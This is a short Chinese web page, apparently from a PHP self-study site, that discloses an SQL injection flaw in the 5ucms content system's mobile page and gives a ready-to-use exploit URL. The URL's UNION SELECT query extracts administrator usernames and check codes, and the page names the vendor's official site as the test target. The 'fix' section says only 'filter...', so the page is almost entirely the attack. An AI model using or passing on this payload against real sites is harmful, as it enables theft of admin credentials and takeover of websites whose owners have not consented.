5ucms最新版sql 注入漏洞及修复 - 网站安全

5ucms最新版sql 注入漏洞及修复 - 网站安全 - 自学

来源：自学PHP网时间：2015-04-17 13:02 作者：阅读:次

[导读] 漏洞文件：/mobile/index.asp漏洞说明：未对变量id过滤导致产生sql注入！漏洞测试：http://www.5u.hk/官方漏洞EXPdarr;/mobile/index.asp?act=viewid=1%20union%20select%201,Username%26chr(124)%26CheckCode......

漏洞文件：/mobile/index.asp

漏洞说明：未对变量id过滤导致产生sql注入！

漏洞测试：http://www.5u.hk/ 官方

QQ截图20120606183325.jpg

漏洞EXP↓

/mobile/index.asp?act=view&id=1%20union%20select%201,Username%26chr(124)%26CheckCode%20from%20{pre}admin

漏洞修复↓

过滤。。。

放手上很久了，没怎么用。就放出来吧。希望只用于测试。不要恶意利用

Dedecms SQL注射导致审核机制绕过漏洞 - 网站安全

XYCMS企业建站系统默认数据库、后台拿WebShell -

子栏目

5ucms最新版sql 注入漏洞及修复 - 网站安全 - 自学

最新评论

添加评论

更多文章推荐

添加评论